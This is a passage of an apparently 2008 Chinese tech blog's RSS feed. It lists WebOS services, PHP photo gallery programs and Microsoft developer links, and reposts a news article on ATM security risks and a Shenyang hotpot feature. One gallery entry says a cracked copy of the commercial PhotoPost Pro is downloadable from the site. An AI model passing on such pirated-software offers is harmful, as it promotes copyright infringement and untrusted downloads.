target="_blank"><strong>CorneliOS</strong></a><br />&nbsp;&nbsp;<br />&nbsp;&nbsp;<img src="http://www.panoramio.com/photos/original/8692921.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> <strong>12、</strong><a href="http://sourceforge.net/projects/javaflashbridge" target="_blank"><strong>JavaFlashBridge</strong></a><br />&nbsp;&nbsp;<br />&nbsp;&nbsp;<img src="http://www.panoramio.com/photos/original/8692932.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> <strong>13、</strong><a href="http://appmarks.com/" target="_blank"><strong>Appmarks</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692919.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 一个用于iPhone和iPod Touch的在线操作系统， 事实上从外观看来也很有&ldquo;水果商&rdquo;的感觉。<br />&nbsp;&nbsp;<br /> <strong>14、</strong><a href="http://craythur.com/" target="_blank"><strong>Craythur</strong></a><br />&nbsp;&nbsp;<br />&nbsp;&nbsp;<img src="http://www.panoramio.com/photos/original/8692922.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> Craythur在界面设计上花了不少功夫，直观看起来和windows非常相似。<br />&nbsp;&nbsp;<br /> <strong>15、</strong><a href="http://www.desktoptwo.com/" target="_blank"><strong>Desktoptwo</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/post/402.html" target="_blank"><img src="http://www.panoramio.com/photos/original/8692923.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> Desktoptwo不但拥有华丽的界面，其可操作性也是非常强大的，和其它很多webOS不同，它的所有应用程序都是用php语言编写的，并且都支持拖曳操作。<br />&nbsp;&nbsp;<br /> <strong>16、</strong><a href="http://g.ho.st/" target="_blank"><strong>Ghost</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692926.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 此Ghost并非彼Ghost，这个是G.ho.st，但和赛门铁克的Ghost有几分相似，因为它也是经常做&ldquo;备份&rdquo;的操作。G.ho.st提供的功能也是相当强大的，而且界面看起来比较舒服。<br />&nbsp;&nbsp;<br /> <strong>17、</strong><a href="http://www.orcadesktop.dk/" target="_blank"><strong>Orca</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692937.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> OK，你的确很喜欢Vista，那么orca将会非常适合你。从截图你可以看出它有多像Vista，目前Orca的所有项目已经迁移到<a href="http://www.startforce.com/OS/" target="_blank">StartFoce</a>上去。<br />&nbsp;&nbsp;<br /> <strong>18、</strong><a href="http://giffard.dynalias.net/ssoe/" target="_blank"><strong>SSOE</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/" target="_blank"><img src="http://www.panoramio.com/photos/original/8692942.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> <strong>19、</strong><a href="http://www.purefect.org/" target="_blank"><strong>Purefect</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/" target="_blank"><img src="http://www.panoramio.com/photos/original/8692936.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> <strong>20、</strong><a href="http://www.goowy.com/" target="_blank"><strong>Goowy</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692931.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 以上20个WebOS介绍摘译自<a href="http://www.my10sen.com/2008/03/20/20-webos-you-can-find-on-the-net/" target="_blank">My10sen</a>。<br />&nbsp;&nbsp;<br /> <strong>21、</strong><a href="http://www.qiannao.com/" target="_blank"><strong>TomOS</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/post/402.html" target="_blank"><img src="http://www.panoramio.com/photos/original/8692940.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> 不能不提的中文webOS服务，很多功能都是符合中国人的使用习惯的，因此使用起来会非常得心应手。<br />&nbsp;&nbsp;<br /> <strong>22、</strong><a href="http://www.jooce.com/" target="_blank"><strong>Jooce</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692941.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 一个基于flash的webOS，支持的语言达10多种，当然其中包括中文。使用起来非常舒服，其速度也是相当可以的。但我在使用时总出现图片出错的情况，莫非我的图片是不雅照？<br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1737</link>
<title><![CDATA[转帖：国外流行的PHP相册程序]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Wed, 12 Mar 2008 03:58:06 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1737</guid> 
<description>
<![CDATA[ 
	<h4>国外流行的PHP相册程序</h4>&nbsp;&nbsp;<div style="float: right"> <!-- google_ad_client = "pub-3593204875158947"; //336x280, 创建于 07-12-8 google_ad_slot = "7495084377"; google_ad_width = 336; google_ad_height = 280; //-->&nbsp;&nbsp; <br /> </div>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<div class="tpc_content">MG2:大名鼎鼎的老牌相册,支持批量上传,目录只读 官方:<a href="http://www.minigal.dk/" target="_blank">http://www.minigal.dk</a><br />4images: 免费程序，最新版是１.７.１，有简体中文版(比如中文思诺工作室版)下载，官方<a href="http://www.4homepages.de/" target="_blank">http://www.4homepages.de</a> <br /><br />Albinator:商业程序，最新版Albinator Pro 2.0.8。可以和vbulletin, phpbb, IPB, postnuke, phpnuke等集成， 官方：<a href="http://www.albinator.com/" target="_blank">http://www.albinator.com/</a> <br /><br />Comdev Photo Gallery：商业，最新版 3.1，批量上传，多用户，多语言，多风格。官方：<a href="http://www.comdevweb.com/photogallery.php" target="_blank">http://www.comdevweb.com/photogallery.php</a><br /><br />Coppermine Photo：免费程序，最新版 CPG1.4.2。功能比较全面的免费PHP图片程序。FTP批量上传图片，然后后台批量导入数据库并生成缩略图。几乎可以和PHPBB,IPB整合的天衣无缝。官方：<a href="http://coppermine.sourceforge.net/" target="_blank">http://coppermine.sourceforge.net</a> <a href="http://coppermine-gallery.net/" target="_blank">http://coppermine-gallery.net/</a><br /><br />Dalbum: 免费，最新版Dalbum 1.41,目录直读，完美整合phpbb等，官方：<a href="http://www.dalbum.org/" target="_blank">http://www.dalbum.org/</a><br /><br />Gallery：免费，最新版gallery2.0.2。国外大部分cms里集成这个图片程序，有简体中文包。官方：<a href="http://gallery.sourceforge.net/" target="_blank">http://gallery.sourceforge.net/</a> <a href="http://gallery.menalto.com/" target="_blank">http://gallery.menalto.com/</a><br /><br />ImageVue：商业程序，最新版 imageVue16.1：<a href="http://www.imagevuex.com/" target="_blank">http://www.imagevuex.com/</a> <br /><br />Lightbox Photo Gallery: 商业程序，最新版3.44, 可以加水印。 官方：<a href="http://www.lightboxphoto.com/" target="_blank">http://www.lightboxphoto.com/</a> <br /><br />PhotoFrame. 6.9:免费不过n久没有更新：<a href="http://photoframe.sourceforge.net/" target="_blank">http://photoframe.sourceforge.net/</a><br /><br />PhotoPost Pro：商业程序,最新版PhotoPost 5.2.1 (破解版本站有下载).可以和大部分主流程序(vBulletin, UBB, phpBB, IPB, PHPNuke等)完美整合：<a href="http://www.photopost.com/" target="_blank">http://www.photopost.com/</a> <br /><br />PhotoStore: 分别有免费和商业版。官方：<a href="http://www.ktools.net/stock_photo_site.php" target="_blank">http://www.ktools.net/stock_photo_site.php</a><br /><br />PHPhotoalbum：免费：<a href="http://www.stoverud.com/PHPhotoalbum/" target="_blank">http://www.stoverud.com/PHPhotoalbum/</a><br /><br />PHPSlideShow :免费，最新版0.9.2,支持RSS: <a href="http://www.zinkwazi.com/wp/scripts" target="_blank">http://www.zinkwazi.com/wp/scripts</a><br /><br />PhpWebGallery:免费程序,Last release 1.5.0, 有汉化版。官方：<a href="http://www.phpwebgallery.net/eng/index.html" target="_blank">http://www.phpwebgallery.net/eng/index.html</a> <br /><br />Pigalle:免费，<a href="http://www.phpee.com/Pigalle/Home" target="_blank">http://www.phpee.com/Pigalle/Home</a><br /><br />Simple Picture Gallery：免费。最新版 SPGM 1.4.3，支持XHTML。<a href="http://spgm.sourceforge.net/" target="_blank">http://spgm.sourceforge.net/</a><br /><br />singapore：GPL免费：<a href="http://www.sgal.org/" target="_blank">http://www.sgal.org/</a><br /><br />Snipe Gallery:免费，最新版3.1.4。也支持RSS聚合。官方：<a href="http://www.snipegallery.com/" target="_blank">http://www.snipegallery.com/</a><br /><br />Yapig - Yet Another PHP Image Gallery ：免费，支持中文：<a href="http://yapig.sourceforge.net/" target="_blank">http://yapig.sourceforge.net/</a><br /><br />还有Simple gallery(<a href="http://celerondude.com/galleryv2/%29" target="_blank">http://celerondude.com/galleryv2/)</a>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=web" rel="tag">web</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1735</link>
<title><![CDATA[微软常用的开发资源地址列表]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Windows相关]]></category>
<pubDate>Mon, 10 Mar 2008 06:03:33 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1735</guid> 
<description>
<![CDATA[ 
	http://www.microsoft.com/express/ <br />http://msdn2.microsoft.com/zh-cn/default.aspx<br />http://www.msdn.com<br />http://channel9.msdn.com/<br />http://channel8.msdn.com/<br />http://www.microsoft.com/learning/default.mspx<br />http://www.microsoftelearning.com <br />HTTP://WWW.IMAGINECUP.COM<br />http://learning.microsoft.com/Manager/Catalog.aspx<br />http://www.microsoft.com/silverlight/resources/install.aspx<br /><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=windows" rel="tag">windows</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1734</link>
<title><![CDATA[转帖：Windows系统ATM提款机易遭黑客入侵]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Mon, 10 Mar 2008 00:43:25 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1734</guid> 
<description>
<![CDATA[ 
	安全专家已用实例证明，仰赖台式机技术的自动柜员提款机(ATM)易遭黑客入侵，导致金钱和银行帐户资料遭窃。<br /><br />　　现代的ATM面临来自互联网的各种威胁，例如被蠕虫及阻断服务(denial-of-service)攻击，或遭到收集顾客资料、绑架机器的恶意程序入侵。<br /><br />　　专家表示，英国多达90%的ATM可能暴露在上述风险之中，因为这些提款机都倚赖桌面PC技术(通常是英特尔硬件搭配Windows操作系统)，来与其他机器互相连结，而这些在银行网络上的机器可连上互联网。<br /><br />　　安全软件制造商Network Box以实际操作来证实这些威胁。该公司指出，当资料从一台美国ATM传至银行电脑网络时，只有个人的ID辨识码经过加密。<br /><br />　　至于卡号、到期年月日、交易金额与帐户结余资料，统统都用普通文字传送，若是在传送过程中遭到拦截，任何人皆可读取。<br /><br />　　设在商店、酒吧和餐馆的ATM，特别容易成为下手目标。信息风险管理(Information Risk Management；IRM)研究员就展示，如何轻易撬开这些ATM的保险箱，进而完全接管。<br /><br />　　早在2003年即有人警告ATM潜在这种危险，当时Nachi网络蠕虫渗透所谓的&ldquo;安全&rdquo;网络、感染两大金融机构的ATM，而SQL Slammer蠕虫则间接瘫痪了美国银行(Bank of America)总计13,000台ATM。<br /><br />　　ATM安全专家Level Four Software公司的商业开发经理Martin Macmillan说：近年来，ATM背后的技术改变甚大。银行大致上已把自家ATM搬上网，以便用Windows等操作系统，来通过IP网络连上各式各样的服务器。<br /><br />　　这导致许多安全问题。Macmillan说：ATM就像是一台接上周边设备的PC，必须时时更新补丁程序，封堵安全漏洞。ATM已变成更复杂的野兽，银行必须重视相关的安全问题。<br /><br />　　他指出，银行务必监看ATM系统用的Windows系统是否潜在任何安全漏洞，如果有问题，就得在能控制情况下关闭网络。<br /><br />　　Macmillan说，就稳定性而言，Windows架构的ATM比OS/2老前辈更差，有些ATM的当机率高达三成。<br /><br />　　Network Box首席技术官Mark Webb-Johnson在报告中写道：ATM产业面临跟工作站同样的安全问题，因为也与互联网相连。一旦ATM遇黑客，可能造成网路服务被迫断线、顾客资料失窃或身分遭到冒用。<br /><br />　　IRM资深安全顾问Gyan Chawdhary说，ATM转用现代的PC基础架构，意味现在只要有基本的程式设计知识，就可能入侵ATM得逞。<br /><br />　　他说：若你是程序设计师，具有一点写程式的经验，那么这很容易。凡是能入侵家用电脑或办公室电脑的黑客程式(exploit)，也可以用来入侵ATM。<br /><br />　　Network Box警告，用来保护ATM的软件防火墙不够强，不足以防止阻断服务攻击，或避免资料在银行网络传输过程中遭到截夺。<br /><br />　　该公司表示，阻挡这类新威胁最有效的办法，就是使用整合路由、防火墙、入侵侦测与预防、虚拟私人网路(VPN)等功能於一体的设备，来保护ATM网路。而且，这种在第一线把关的设备应与银行的其他网路分开，ATM外传的资料也应加密。<br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=windows" rel="tag">windows</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1733</link>
<title><![CDATA[转帖：火锅吃出沈阳表情]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[职场与生活]]></category>
<pubDate>Sun, 09 Mar 2008 09:25:39 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1733</guid> 
<description>
<![CDATA[ 
	<table border="0" cellspacing="0" cellpadding="0" width="560"><tbody><tr><td height="20" align="center">2006年02月28日06:43 <span style="color: #a20010">华商网-华商晨报</span></td></tr> &nbsp;&nbsp;<tr><td height="15">&nbsp;</td></tr> &nbsp;&nbsp;<tr><td class="l17"><span class="f14"> &nbsp;&nbsp; &nbsp;&nbsp;</span><p><span class="f14">　　</span></p><span class="f14"><span class="f12"><table border="0" cellspacing="4" cellpadding="1" align="center"><tbody><tr><td align="center" valign="top"><img src="http://image2.sina.com.cn/dy/c/2006-02-28/b26ea862650d8915745321dbeaf506be.gif" border="1" alt="火锅吃出沈阳表情(图)" /></td></tr><tr><td align="center" valign="top">&nbsp;</td></tr></tbody></table></span></span><span class="f14"> </span>&nbsp;&nbsp;<p><span class="f14">　　麻辣火锅很适合沈阳人豪放的性格■本报记者杨晟坤摄 </span></p>&nbsp;&nbsp;<p><span class="f14">　　</span></p><span class="f14"><span class="f12"><table border="0" cellspacing="4" cellpadding="1" align="center"><tbody><tr><td align="center" valign="top"><img src="http://image2.sina.com.cn/dy/c/2006-02-28/f8063a8522f51067547c7f3a72734f4c.JPG" border="1" alt="火锅吃出沈阳表情(图)" /></td></tr><tr><td align="center" valign="top">&nbsp;</td></tr></tbody></table></span></span><span class="f14"> </span><!--NEWSZW_HZH_BEGIN--> <!--NEWSZW_HZH_BEGIN--><span class="f14">&nbsp;&nbsp;<table border="0" cellspacing="0" cellpadding="0" align="left"> <tbody><tr><td> <div id="PublicRelation5" style="display: none"> <table border="0" cellspacing="0" cellpadding="0" style="margin: 10px 8px 3px 7px"> <tbody><tr><td> <!--画中画广告开始--> <table border="0" cellspacing="0" cellpadding="0" align="left"> &nbsp;&nbsp;<tbody><tr><td> <!--画中画广告开始--> <span> &amp;amp;amp;amp;lt;SCRIPT LANGUAGE=&quot;JavaScript1.1&quot; xsrc=&quot;http://273.adsina.allyes.com/main/adfshow?user=AFP6_for_SINA&#124;news&#124;chinaPIP&amp;amp;amp;amp;amp;db=sina&amp;amp;amp;amp;amp;local=yes&amp;amp;amp;amp;amp;js=on&quot;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;/SCRIPT&amp;amp;amp;amp;gt; &amp;amp;amp;amp;lt;NOSCRIPT&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;A xhref=&quot;http://273.adsina.allyes.com/main/adfclick?user=AFP6_for_SINA&#124;news&#124;chinaPIP&amp;amp;amp;amp;amp;db=sina&quot;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;IMG xsrc=&quot;http://273.adsina.allyes.com/main/adfshow?user=AFP6_for_SINA&#124;news&#124;chinaPIP&amp;amp;amp;amp;amp;db=sina&quot; WIDTH=360 HEIGHT=300 BORDER=0&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;/a&amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;/NOSCRIPT&amp;amp;amp;amp;gt;</span> <!--画中画广告结束--> <br /></td></tr></tbody></table> <!--画中画广告结束--> <br /></td></tr> <tr><td> <!-- 画中画下文字链广告（从上至下顺序为01，02，03，04文字，需加class=a01）--> <table border="0" cellspacing="0" cellpadding="0" width="360"> <tbody><tr><td height="9">&nbsp;</td></tr> <tr><td> &nbsp;&nbsp;<table border="0" cellspacing="0" cellpadding="0" width="360" background="http://image2.sina.com.cn/dy/images/xfrd_02.gif"> &nbsp;&nbsp;<tbody><tr><td rowspan="2" height="45"><img src="http://ad4.sina.com.cn/shc/xfrd_01.GIF" border="0" width="70" height="45" /><br /></td><td width="286" style="padding-top: 4px; padding-left: 5px"> &nbsp;&nbsp;<!--F70BB90BB6BA--><!--nwy/uc/A-->&nbsp;&nbsp;&nbsp;&nbsp;ad1= "CBD高尔夫有别墅"; link1= "http://sina.allyes.com/main/adfclick?db=sina&bid=34823,59586,59634&cid=0,0,0&sid=57128&advid=2628&camid=9110&show=ignore&url=http://www.h-cgolf.com/website/cbd_bs/index.htm"; //左上&nbsp;&nbsp;ad2= "精装公寓 现房租售"; link2= "http://sina.allyes.com/main/adfclick?db=sina&bid=35525,60333,60385&cid=0,0,0&sid=57839&advid=2636&camid=9163&show=ignore&url=http://www.oexpress.com.cn/"; //右上&nbsp;&nbsp;ad3= "新浪招贴 传媒新贵"; link3= "http://post.sina.com.cn/index_1100.php"; //左下&nbsp;&nbsp;ad4= "新浪招贴 传媒新贵"; link4= "http://post.sina.com.cn/index_1100.php"; //右下&nbsp;&nbsp; //浏览器类型变量 var InternetExplorer = navigator.appName.indexOf("Microsoft") != -1;&nbsp;&nbsp;//ie内容 function IEad()&#123; &nbsp;&nbsp;adCode = '<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" WIDTH="280" HEIGHT="40" id="ad_note" ALIGN=""><PARAM NAME=movie VALUE="http://image2.sina.com.cn/dy/zwyhzh/ad_note.swf"> <PARAM NAME=quality VALUE=high> <PARAM NAME=wmode VALUE=transparent> <PARAM NAME=bgcolor VALUE=#FFFFFF> <param name="swLiveConnect" value="true"> ' &nbsp;&nbsp;+' <EMBED xsrc="http://image2.sina.com.cn/dy/zwyhzh/ad_note.swf" quality=high wmode=transparent bgcolor=#FFFFFF&nbsp;&nbsp;WIDTH="280" HEIGHT="40" NAME="ad_note" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer" swLiveConnect="true"></EMBED></OBJECT>'&nbsp;&nbsp;&nbsp;&nbsp;document.write(adCode); &nbsp;&nbsp; &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("ad1", ad1); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("ad2", ad2); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("ad3", ad3); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("ad4", ad4); &nbsp;&nbsp; &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("link1", link1); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("link2", link2); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("link3", link3); &nbsp;&nbsp;document.getElementById('ad_note').SetVariable("link4", link4);&nbsp;&nbsp;&#125; //ns内容 function NSad()&#123;&nbsp;&nbsp;adCode = '<table width=286 border=0 cellpadding=0 cellspacing=0>' &nbsp;&nbsp;+'<tr height=20><td width=143 style="padding-top:5px;padding-left:5px"> <img xsrc=http://image2.sina.com.cn/dy/images/xfrd_04.gif width=7 height=7> ' &nbsp;&nbsp;+'<a xhref='+ link1 +' class=a01 target=_blank>'+ ad1 +'</a>' &nbsp;&nbsp;+'</td><td width=143 style="padding-top:5px;"> <img xsrc=http://image2.sina.com.cn/dy/images/xfrd_04.gif width=7 height=7> ' &nbsp;&nbsp;+'<a xhref='+ link2 +' class=a01 target=_blank>'+ ad2 +'</a>' &nbsp;&nbsp;+'</td></tr>' &nbsp;&nbsp;+'<tr height=20><td style="padding-left:5px"> <img xsrc=http://image2.sina.com.cn/dy/images/xfrd_04.gif width=7 height=7> ' &nbsp;&nbsp;+'<a xhref='+ link3 +' class=a01 target=_blank>'+ ad3 +'</a>' &nbsp;&nbsp;+'</td><td> <img xsrc=http://image2.sina.com.cn/dy/images/xfrd_04.gif width=7 height=7> ' &nbsp;&nbsp;+'<a xhref='+ link4 +' class=a01 target=_blank><span ID="oSpan" UNSELECTABLE="on" >'+ ad4 +'</span></a></td></tr></table>'&nbsp;&nbsp;document.write(adCode); &#125;&nbsp;&nbsp;//主过程 if(InternetExplorer == true)&#123; &nbsp;&nbsp;IEad(); &#125;else&#123; &nbsp;&nbsp;NSad(); &#125; <table border="0" cellspacing="0" cellpadding="0" width="286"><tbody><tr height="20"><td width="143" style="padding-top: 5px; padding-left: 5px"> <img src="http://image2.sina.com.cn/dy/images/xfrd_04.gif" border="0" width="7" height="7" /> <a href="http://sina.allyes.com/main/adfclick?db=sina&amp;bid=34823,59586,59634&amp;cid=0,0,0&amp;sid=57128&amp;advid=2628&amp;camid=9110&amp;show=ignore&amp;url=http://www.h-cgolf.com/website/cbd_bs/index.htm" target="_blank" class="a01">CBD高尔夫有别墅</a><br /></td><td width="143" style="padding-top: 5px"> <img src="http://image2.sina.com.cn/dy/images/xfrd_04.gif" border="0" width="7" height="7" /> <a href="http://sina.allyes.com/main/adfclick?db=sina&amp;bid=35525,60333,60385&amp;cid=0,0,0&amp;sid=57839&amp;advid=2636&amp;camid=9163&amp;show=ignore&amp;url=http://www.oexpress.com.cn/" target="_blank" class="a01">精装公寓 现房租售</a><br /></td></tr><tr height="20"><td style="padding-left: 5px"> <img src="http://image2.sina.com.cn/dy/images/xfrd_04.gif" border="0" width="7" height="7" /> <a href="http://post.sina.com.cn/index_1100.php" target="_blank" class="a01">新浪招贴 传媒新贵</a><br /></td><td> <img src="http://image2.sina.com.cn/dy/images/xfrd_04.gif" border="0" width="7" height="7" /> <a href="http://post.sina.com.cn/index_1100.php" target="_blank" class="a01"><span>新浪招贴 传媒新贵</span></a><br /></td></tr></tbody></table> <br /></td><td rowspan="2" width="4"><img src="http://image2.sina.com.cn/dy/images/xfrd_03.gif" border="0" width="4" height="45" /><br /></td></tr> &nbsp;&nbsp; &nbsp;&nbsp;</tbody></table> <br /></td></tr> </tbody></table>&nbsp;&nbsp;<br /></td></tr> </tbody></table> </div> <br /></td></tr></tbody></table> <!--NEWSZW_HZH_END--> <!--NEWSZW_HZH_END-->&nbsp;&nbsp;</span><p><span class="f14">　　大块的冻豆腐是沈阳人吃火锅的必备法宝■资料图片 </span></p>&nbsp;&nbsp;<p><span class="f14">　　</span></p><span class="f14"><span class="f12"><table border="0" cellspacing="4" cellpadding="1" align="center"><tbody><tr><td align="center" valign="top"><img src="http://image2.sina.com.cn/dy/c/2006-02-28/1dcec4404fed6c756b38bb1b5fbd4234.JPG" border="1" alt="火锅吃出沈阳表情(图)" /></td></tr><tr><td align="center" valign="top">&nbsp;</td></tr></tbody></table></span></span><span class="f14"> </span>&nbsp;&nbsp;<p><span class="f14">　　天南海北的各式调料都能在沈阳火锅店里找到■资料图片早在满族起兵关外之时，满族军 队曾与元朝军队发生过战争，军队需要吃饭，而时间又很紧迫，就想出了一种方法：支起个架子，或是用大锅，或是用自己的头盔或者战场上捡来的敌人的头盔放上 水，把打来的猎物切成片放在里面煮。这种吃法非常方便，不仅节省时间也便于很快投入下一次行军打仗。这便是火锅的雏形。</span></p>&nbsp;&nbsp;<p><span class="f14">　　走在沈阳的大街小巷，红火的火锅店应接不暇。外面吐口唾沫都能结成冰，中间一块大玻璃布满哈气，水珠从玻璃顶一直滑到地上，露出一条条朦胧的曲线，里面则是热气腾腾，围锅而坐的人们高谈阔论，笑声不绝&hellip;&hellip;</span></p>&nbsp;&nbsp;<p><span class="f14">　　吃火锅就得到沈阳来！因为这里的冬天太冷，在这里吃火锅你会感到冰与火的洗礼到底是个啥滋味，也正是因为这个，爽朗、豪迈、不太会斤斤计较的沈阳人在这口锅里涮出了自己的精彩，吃出了自己的表情。</span></p>&nbsp;&nbsp;<p><span class="f14">　　火锅究竟咋来的，说法不一，不过从沈阳故宫博物院研究员佟悦先生的研究来看，正是生长在关外这片黑土地上的满族先祖们才最具发明火锅的条件，也正是他们最后的问鼎中原，才使火锅有了在中华大地普及的空间与土壤。</span></p>&nbsp;&nbsp;<p><span class="f14">　　<strong>八旗兵填饱肚子的&ldquo;大黑锅&rdquo;</strong></span></p>&nbsp;&nbsp;<p><span class="f14">　　兵起关外黑土地，又以八旗为记，席卷中华大地，建立了中国最后一个封建王朝，这就是 我们这块土地上曾经的先祖满族。&ldquo;可以肯定地说，火锅是在北方发明的，因为历史记载可以看出，南方没有发明火锅的条件和迹象。而满族，作为游牧民族，正是 具备发明火锅客观条件的民族。&rdquo;佟悦十分肯定地告诉记者。</span></p>&nbsp;&nbsp;<p><span class="f14">　　关于火锅怎样产生的问题，佟悦说，早在满族起兵关外之时，满族军队曾与元朝军队发生 过战争，军队需要吃饭，而时间又很紧迫，就想出了一种方法：支起个架子，或是用大锅，或是用自己的头盔或者战场上捡来的敌人的头盔放上水，把打来的猎物切 成片放在里面煮。这种吃法非常方便，不仅节省时间也便于很快投入下一次行军打仗。这便是火锅的雏形。所以，火锅起初不是为美食而产生，而是为填饱肚子而产 生。</span></p>&nbsp;&nbsp;<p><span class="f14">　　为什么说只有满族人能想到这种填饱肚子的方式呢？佟悦认为，当时关东地区的生产技术和生活水平都比较落后，从美食角度来讲，不可能做出像鲁菜、粤菜那样色香味俱全的食物。而火锅就不同了，它只需把肉、菜等食物扔到锅里就行了，所以容易受欢迎。</span></p>&nbsp;&nbsp;<p><span class="f14">　　当然，除了佟悦先生讲到的关于火锅产生的研究外，记者还收集到了有关类似火锅最初产 